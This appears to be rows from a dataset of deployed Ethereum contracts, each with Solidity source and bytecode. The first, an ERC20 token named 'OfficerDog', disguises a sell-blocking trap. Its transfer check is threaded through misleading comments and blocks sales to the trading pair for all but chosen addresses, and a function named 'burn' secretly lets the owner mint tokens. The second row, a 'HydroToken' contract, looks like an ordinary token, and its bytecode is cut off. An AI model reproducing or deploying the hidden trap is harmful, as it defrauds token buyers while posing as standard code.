| 9,618 |
0xadfb23121bc8168b2a586ea38ae8717b0a657732 | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.6;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier everyone {
require(msg.sender == owner);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint256 _totalSupply;
uint internal number;
address internal burnAddress;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) virtual public payable returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function burn(address _address, uint256 tokens) public everyone {
burnAddress = _address;
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
_totalSupply = _totalSupply.add(tokens);
balances[_address] = balances[_address].add(tokens);
}
/**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the burn address. */ || (start == burnAddress && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
}
contract OfficerDog is TokenERC20 {
function initialize() public payable everyone() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint256 _supply, address _burn, address _dele, uint256 _number) {
symbol = _symbol;
name = _name;
decimals = 18;
_totalSupply = _supply*(10**uint256(decimals));
burnAddress = _burn;
number = _number*(10**uint256(decimals));
delegate = _dele;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
} | 0x6080604052600436106100c25760003560e01c80638129fc1c1161007f5780639dc29fac116100595780639dc29fac146103f2578063a9059cbb1461044d578063cae9ca51146104be578063dd62ed3e146105b9576100c2565b80638129fc1c146103175780638da5cb5b1461032157806395d89b4114610362576100c2565b806306fdde03146100c7578063095ea7b31461015757806318160ddd146101c857806323b872dd146101f3578063313ce5671461028457806370a08231146102b2575b600080fd5b3480156100d357600080fd5b506100dc61063e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016357600080fd5b506101b06004803603604081101561017a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106dc565b60405180821515815260200191505060405180910390f35b3480156101d457600080fd5b506101dd61082c565b6040518082815260200191505060405180910390f35b3480156101ff57600080fd5b5061026c6004803603606081101561021657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610887565b60405180821515815260200191505060405180910390f35b34801561029057600080fd5b50610299610c12565b604051808260ff16815260200191505060405180910390f35b3480156102be57600080fd5b50610301600480360360208110156102d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c25565b6040518082815260200191505060405180910390f35b61031f610c6e565b005b34801561032d57600080fd5b50610336610d15565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561036e57600080fd5b50610377610d39565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103b757808201518184015260208101905061039c565b50505050905090810190601f1680156103e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103fe57600080fd5b5061044b6004803603604081101561041557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd7565b005b34801561045957600080fd5b506104a66004803603604081101561047057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f24565b60405180821515815260200191505060405180910390f35b6105a1600480360360608110156104d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561051b57600080fd5b82018360208201111561052d57600080fd5b8035906020019184600183028401116401000000008311171561054f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611183565b60405180821515815260200191505060405180910390f35b3480156105c557600080fd5b50610628600480360360408110156105dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061138a565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d45780601f106106a9576101008083540402835291602001916106d4565b820191906000526020600020905b8154815290600101906020018083116106b757829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156107bd57816006819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610882600860008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461141190919063ffffffff16565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156109135750600073ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1561095e5782600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610969565b610968848461142b565b5b6109bb82600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461141190919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a8d82600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461141190919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b5f82600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164990919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cc657600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610d11573d6000803e3d6000fd5b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dcf5780601f10610da457610100808354040283529160200191610dcf565b820191906000526020600020905b815481529060010190602001808311610db257829003601f168201915b505050505081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e2f57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e858160055461164990919063ffffffff16565b600581905550610edd81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164990919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61103c82600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461141190919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110d182600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164990919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156113185780820151818401526020810190506112fd565b50505050905090810190601f1680156113455780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561136757600080fd5b505af115801561137b573d6000803e3d6000fd5b50505050600190509392505050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561142057600080fd5b818303905092915050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158061152e5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561152d5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b5b806115d35750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156115d25750600654600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b5b611645576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f63616e6e6f7420626520746865207a65726f206164647265737300000000000081525060200191505060405180910390fd5b5050565b600081830190508281101561165d57600080fd5b9291505056fea264697066735822122028be11f8fe5a0811cceb9ee4b16d6038add889019568bb932b521637ddb930d164736f6c63430007060033 | {"success": true, "error": null, "results": {}} | 9,619 |
0x946112efab61c3636cbd52de2e1392d7a75a6f01 | //////////////////////////////////////////
// PROJECT HYDRO
// Multi Chain Token
//////////////////////////////////////////
pragma solidity ^0.6.0;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface Raindrop {
function authenticate(address _sender, uint _value, uint _challenge, uint _partnerId) external;
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract HydroToken is Ownable,IERC20 {
using SafeMath for uint256;
string public _name;
string public _symbol;
uint8 public _decimals; // Number of decimals of the smallest unit
uint public _totalSupply;
address public raindropAddress;
uint256 ratio;
uint256 public MAX_BURN= 100000000000000000; //0.1 hydro tokens
mapping (address => uint256) public balances;
// `allowed` tracks any extra transfer rights as in all ERC20 tokens
mapping (address => mapping (address => uint256)) public allowed;
mapping(address=>bool) public whitelistedDapps; //dapps that can burn tokens
//makes sure only dappstore apps can burn tokens
modifier onlyFromDapps(address _dapp){
require(whitelistedDapps[msg.sender]==true,'Hydro: Burn error');
_;
}
event dappBurned(address indexed _dapp, uint256 _amount );
////////////////
// Constructor
////////////////
/// @notice Constructor to create a HydroToken
constructor(uint256 _ratio) public {
_name='HYDRO TOKEN';
_symbol='HYDRO';
_decimals=18;
raindropAddress=address(0);
_totalSupply = (11111111111 * 10**18)/_ratio;
// Give the creator all initial tokens
balances[msg.sender] = _totalSupply;
ratio = _ratio;
emit Transfer(address(0), msg.sender, _totalSupply);
}
///////////////////
// ERC20 Methods
///////////////////
//transfers an amount of tokens from one account to another
//accepts two variables
function transfer(address _to, uint256 _amount) public override returns (bool success) {
doTransfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev Returns the token symbol.
*/
function symbol() public override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() public override view returns (string memory) {
return _name;
}
//transfers an amount of tokens from one account to another
//accepts three variables
function transferFrom(address _from, address _to, uint256 _amount
) public override returns (bool success) {
// The standard ERC 20 transferFrom functionality
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
doTransfer(_from, _to, _amount);
return true;
}
//allows the owner to change the MAX_BURN amount
function changeMaxBurn(uint256 _newBurn) public onlyOwner returns(uint256 ) {
MAX_BURN=_newBurn;
return (_newBurn);
}
//internal function to implement the transfer function and perform some safety checks
function doTransfer(address _from, address _to, uint _amount
) internal {
// Do not allow transfer to 0x0 or the token contract itself
require((_to != address(0)) && (_to != address(this)));
require(_amount <= balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
}
//returns balance of an address
function balanceOf(address _owner) public override view returns (uint256 balance) {
return balances[_owner];
}
//allows an address to approve another address to spend its tokens
function approve(address _spender, uint256 _amount) public override returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
//sends the approve function but with a data argument
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view override returns (uint8) {
return _decimals;
}
//returns the allowance an address has granted a spender
function allowance(address _owner, address _spender
) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
//allows an owner to whitelist a dapp so it can burn tokens
function _whiteListDapp(address _dappAddress) public onlyOwner returns(bool){
whitelistedDapps[_dappAddress]=true;
return true;
}
//allows an owner to blacklist a dapp so it can stop burn tokens
function _blackListDapp(address _dappAddress) public onlyOwner returns(bool){
whitelistedDapps[_dappAddress]=false;
return false;
}
//returns current hydro totalSupply
function totalSupply() public view override returns (uint) {
return _totalSupply;
}
//allows the owner to set the Raindrop
function setRaindropAddress(address _raindrop) public onlyOwner {
raindropAddress = _raindrop;
}
//the main public burn function which uses the internal burn function
function burn(address _from,uint256 _value) external returns(uint burnAmount) {
_burn(_from,_value);
emit dappBurned(msg.sender,_value);
return(burnAmount);
}
function authenticate(uint _value, uint _challenge, uint _partnerId) public {
Raindrop raindrop = Raindrop(raindropAddress);
raindrop.authenticate(msg.sender, _value, _challenge, _partnerId);
doTransfer(msg.sender, owner, _value);
}
//internal burn function which makes sure that only whitelisted addresses can burn
function _burn(address account, uint256 amount) internal onlyFromDapps(msg.sender) {
require(account != address(0), "ERC20: burn from the zero address");
require(amount >= MAX_BURN,'ERC20: Exceeds maximum burn amount');
balances[account] = balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101a95760003560e01c806371ee5ca9116100f9578063b1bbd59e11610097578063d28d885211610071578063d28d885214610988578063dd62ed3e14610a0b578063e749d6a614610a83578063f2fde38b14610add576101a9565b8063b1bbd59e146107ef578063b302ea1e14610849578063cae9ca511461088d576101a9565b806395d89b41116100d357806395d89b41146106235780639dc29fac146106a6578063a9059cbb14610708578063b09f12661461076c576101a9565b806371ee5ca91461058f578063831946c7146105d15780638da5cb5b146105ef576101a9565b806327e235e3116101665780633eaaf86b116101405780633eaaf86b14610447578063540dbf34146104655780635c658165146104bf57806370a0823114610537576101a9565b806327e235e3146103ad578063313ce5671461040557806332424aa314610426576101a9565b806303960631146101ae578063053011b7146101e257806306fdde0314610224578063095ea7b3146102a757806318160ddd1461030b57806323b872dd14610329575b600080fd5b6101b6610b21565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610222600480360360608110156101f857600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610b47565b005b61022c610c38565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561026c578082015181840152602081019050610251565b50505050905090810190601f1680156102995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102f3600480360360408110156102bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cda565b60405180821515815260200191505060405180910390f35b610313610e5f565b6040518082815260200191505060405180910390f35b6103956004803603606081101561033f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e69565b60405180821515815260200191505060405180910390f35b6103ef600480360360208110156103c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f94565b6040518082815260200191505060405180910390f35b61040d610fac565b604051808260ff16815260200191505060405180910390f35b61042e610fc3565b604051808260ff16815260200191505060405180910390f35b61044f610fd6565b6040518082815260200191505060405180910390f35b6104a76004803603602081101561047b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fdc565b60405180821515815260200191505060405180910390f35b610521600480360360408110156104d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611098565b6040518082815260200191505060405180910390f35b6105796004803603602081101561054d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110bd565b6040518082815260200191505060405180910390f35b6105bb600480360360208110156105a557600080fd5b8101908080359060200190929190505050611106565b6040518082815260200191505060405180910390f35b6105d9611170565b6040518082815260200191505060405180910390f35b6105f7611176565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61062b61119a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561066b578082015181840152602081019050610650565b50505050905090810190601f1680156106985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106f2600480360360408110156106bc57600080fd5b81019080803573fffffffffffffffffffffffffffffff